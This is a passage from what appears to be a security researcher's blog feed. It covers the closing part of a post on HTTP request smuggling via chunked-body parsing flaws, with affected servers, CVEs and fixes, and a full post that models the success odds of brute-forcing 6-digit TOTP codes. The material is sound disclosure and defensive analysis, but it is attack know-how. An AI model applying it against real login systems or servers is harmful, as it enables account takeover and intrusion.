2. pound Fixed in PR #43.
|
| Servers |
1. netty 2. Eclipse Grizzly 3. undertow These servers accept spills. This is non-exploitable unless a vulnerable proxy exists. |
1. uvicorn and hypercorn (h11 dependency)
Assigned CVE-2025-43859.
2. Ktor Assigned CVE-2025-29904 and awarded a $300 bounty by JetBrains. 3. Eclipse Jetty Fixed in PR #12564.
4. uHTTPd In discussion, see PR #4.
|
Although categorized together, the parsing flaws in the table above are not exactly identical. Specifically, Ktor interpreted \r as a line terminator whereas h11 and uHTTPd accepted any 2-byte sequence. Jetty treated the CRLF as optional, effectively interpreting an empty string as a line terminator. On the proxy side, there is a nuance as well: pound did not allow \r in the spill. This means that pound-Ktor is notably not a vulnerable setup.
One thing that became clear to me during my discussions with various vendors and maintainers is that HTTP servers really care about robustness. Many were reluctant to adopt stricter parsing rules, fearing that they might break compatibility with non-compliant clients. Vulnerabilities like the ones described in this post reveal a fundamental disharmony between security and robustness: we simply cannot allow parsing leniencies without simultaneously opening the door to misinterpretations, at least a little bit.
While a great deal of attention has been given to request smuggling attacks based on the ambiguity of requests with both a Content-Length and Transfer-Encoding: chunked header, it seems to me that techniques based on chunked-body parsing flaws have largely been overlooked. I find it remarkable that the techniques we’ve explored in this article have remained undiscovered for so long, despite their relative simplicity. One cannot help but wonder: how many dangerous HTTP parser bugs are still out there, waiting to be found?
If you have any comments or questions about this post, I’d love to hear them. Seriously. It would be great to know if anyone actually reads this. Feel free to reach out to me on X (@__wake) or shoot me an email at jeppe.b.weikop@gmail.com.
]]>It is hardly controversial to argue in 2025 that 6-digit time-based one-time passwords (TOTPs) are susceptible to brute-force attacks if not accompanied by appropriate rate-limiting countermeasures. When I recently found myself searching for a mathematical breakdown of this susceptibility, I was surprised to find that none seems to exist – only simplified descriptions that do not properly capture the subtleties of TOTPs. This lack of precision bugged me enough to do something about it.
What follows is my attempt to fill that gap. In this post, we’ll look into the mathematics of TOTP brute-force attacks and develop an accurate description, skipping the shortcuts. Finally, we will take some time to discuss the importance of the various TOTP configuration parameters.
Before we dive into the math, let us first introduce TOTP and define some relevant terminology. If you’ve ever been forced to enable responsibly chosen to enable 2FA, you’re probably already familiar with the principle of TOTPs from apps like Google Authenticator. The basic idea is simple: the 2FA app generates a new 6-digit code every 30 seconds (each “time step”) using the current time and a shared secret usually provided in a QR code during 2FA setup. To prove your identity, you (the “prover”) submit the code and the server (the “validator”) independently generates the same code and verifies that they match. Codes do not need to be remembered, they can’t be used more than once, and all codes are equally likely to be generated. Lovely!
Since the current time is used in code generation, this scheme relies on the prover and validator staying reasonably time-synchronized. To account for potential clock drift and network latency, TOTP validators can choose to accept a number of the most recently expired codes (“grace period codes”) in addition to the correct code (the “primary code”). This optional grace period is intended to ensure that valid authentication attempts aren’t unfairly rejected due to minor synchronization issues.
There are then three configuration options of interest to our brute-force analysis purposes: the number of OTP digits \(D\), the time step duration \(L\), and the number of grace period codes \(\lambda\). We can therefore describe a TOTP validator’s configuration in completeness with the tuple \((D, L, \lambda)\).
Let us now take a look at these configuration parameters from an attacker’s perspective. First of all, we can conclude that the OTP space has a relatively small size of \(N = 10^D\). At any given time, \(1 + \lambda\) of these codes are acceptable to the validator, and during each time step, we can attempt a total of \(n = v \cdot L\) guesses, where \(v\) is our number of attempts per second.
Other authors (Luke Plant, 2019 and Michael Fincham, 2021) have previously used a binomial distribution to model the probability of a successful brute-force attack against TOTP validators. This is a close approximation, but it suffers from certain inaccuracies. In this section, I will attempt to derive a more exact description.
First of all, I will argue that a hypergeometric distribution constitutes a better starting point than a binomial distribution. To see why, let us consult the Wikipedia article on the subject:
(…) the hypergeometric distribution is a discrete probability distribution that describes the probability of \(k\) successes (random draws for which the object drawn has a specified feature) in \(n\) draws, without replacement, from a finite population of size \(N\) that contains exactly \(K\) objects with that feature, wherein each draw is either a success or a failure. In contrast, the binomial distribution describes the probability of \(k\) successes in \(n\) draws with replacement.
In this context, a “random draw” is a guess, the “specified feature” is the guess being a valid code, and “replacement” refers to whether or not we might submit the same guess multiple times. Clearly, any reasonable attacker would not repeat incorrect guesses within a single time step, as that would be guaranteed to fail. Let us therefore agree that the without replacement option makes more sense.
Now we’re ready to consider the simple case where \(\lambda = 0\). Within each individual time step, we’ve agreed that the number of correct guesses \(X\) follows a hypergeometric distribution. Since there is no grace period and thus only one valid code, we set \(K = 1\).
\[X \sim Hypergeometric(N=10^D,\ K=1,\ n=vL)\]Consequently, its PMF is given by:
\[Pr(X = k) = \frac{\binom{K}{k} \binom{N-K}{n-k}}{\binom{N}{n}}\]Remember, we only need to guess correctly once; anything other than \(X = 0\) correct guesses is considered a success. The probability of zero correct guesses (i.e. a failure) simplifies nicely:
\[Pr(f) = Pr(X = 0) = \frac{\binom{K}{0} \binom{N-K}{n-0}}{\binom{N}{n}} = \frac{ \binom{N-K}{n}}{\binom{N}{n}} = \frac{ \binom{10^D - 1}{v L}}{\binom{10^D}{v L}} = \frac{10^D - v L}{10^D}\]\(Pr(f)\) represents the probability of failure during a single time step. Now, what happens when our brute-force attack spans multiple time steps? The probability of overall failure \(Pr(F)\) is equivalent to the probability of failing every individual time step. As such, we can describe the probability of failure after a \(T\)-second attack as the probability of failing \(T / L\) consecutive time steps.
\[Pr(F) = {Pr(f)}^{T/L}\]Conversely, the probability of overall success must then be:
\[Pr(S) = 1 - Pr(F)\]This is a complete description of the success probability in the simple case where \(\lambda = 0\). As we’ll see in the next section, the general case is a bit more convoluted.
It is tempting to conclude that in the general case where \(\lambda\) can take on a non-zero value, we can adjust our model simply by setting \(K = 1 + \lambda\). Unfortunately, it’s not quite that simple.
Consider what happens once we enter a new time step during our attack: a new primary code is generated, the previous one becomes a grace period code, and the oldest grace period code expires. At this point, any code could be valid, but some codes are less probable than others. Specifically, our failed attempts from the previous time step might match the new primary code, but they will certainly not be accepted as grace period codes. For this reason, we should not repeat guesses from the last \(\lambda\) time steps, as they are less likely to result in a success. By applying this intuitive optimization strategy, we can slightly improve our chances of success.
So how do we express this improvement mathematically? Instead of considering \(1 + \lambda\) codes to be valid simultaneously, we consider the probability of guessing each valid code individually. For each grace period code, we’ve effectively reduced the size of the OTP search space by \(n = v L\) guesses for each time step in which the code has been active. As such, we can express \(Pr(f)\) as a product of \(\lambda + 1\) differently parameterized hypergeometric probabilities. We introduce \(N_i = N - i v L\) to denote the size of the reduced search space for a code that has been active for \(i\) time steps.
\[\begin{aligned} Pr(f) &= Pr(X = 0 ; N_0) \cdot Pr(X = 0 ; N_1) \cdots Pr(X = 0 ; N_{\lambda}) \\ &= \prod_{i=0}^{\lambda}{Pr(X = 0 ; N_i)} \end{aligned}\]Of course, this expression is only valid once the attack has been ongoing for at least \(\lambda\) time steps. Before that, we have not yet collected the necessary information by guessing incorrectly and we can therefore not reap the benefits of a reduced search space. For simplicity, we will ignore this “slow start” as its effect is negligible and needlessly notationally complicated.
As in the simple case, the probability of failure (and success) after \(T\) seconds can be expressed as:
\[Pr(F) = {Pr(f)}^{T/L}\] \[Pr(S) = 1 - Pr(F)\]At last! We have obtained an expression for the probability of a successful brute-force attack within \(T\) seconds with \(v\) attempts per second against a TOTP validator with configuration \((D, L, \lambda)\).
Now that we have related the attack duration to the probability of success, let’s see what kind of results we get when we plug in some parameter values. I’ve included an interactive graph below for you to play with the various parameters and see how they affect the time required for a probable compromise.
So what conclusions can we draw from this mathematical venture of ours?
To my own personal dismay, the time step duration seems to carry very little weight. This unfortunately means that the simplified binomial model employed by other authors is almost indistinguishable from the one we developed in this article. In other words, our careful analysis turned out to be little more than computationally expensive pedantry. Well, at least now we know.
Unsurprisingly, the grace period parameter \(\lambda\) makes quite a significant difference to TOTP bruteforceability. It is my opinion that \(\lambda\) should generally be set to \(0\) in production systems, as it considerably weakens the security of TOTP authentication, and the synchronization issues it is supposed to address are presumably quite rare – unless the prover submits their code at the very last second, which I’d wager most users instinctively avoid anyway.
As we’d suspected, 6-digit TOTPs are indeed troublingly bruteforceable; a ~50% chance of success can be obtained in a matter of hours with even a modest request rate of 20-30 requests per second. And with specialized software like Turbo Intruder, much higher rates can often be achieved.
Hopefully, these results are enough to convince any lingering skeptics that TOTP systems should always be accompanied by robust rate-limiting protections.
]]>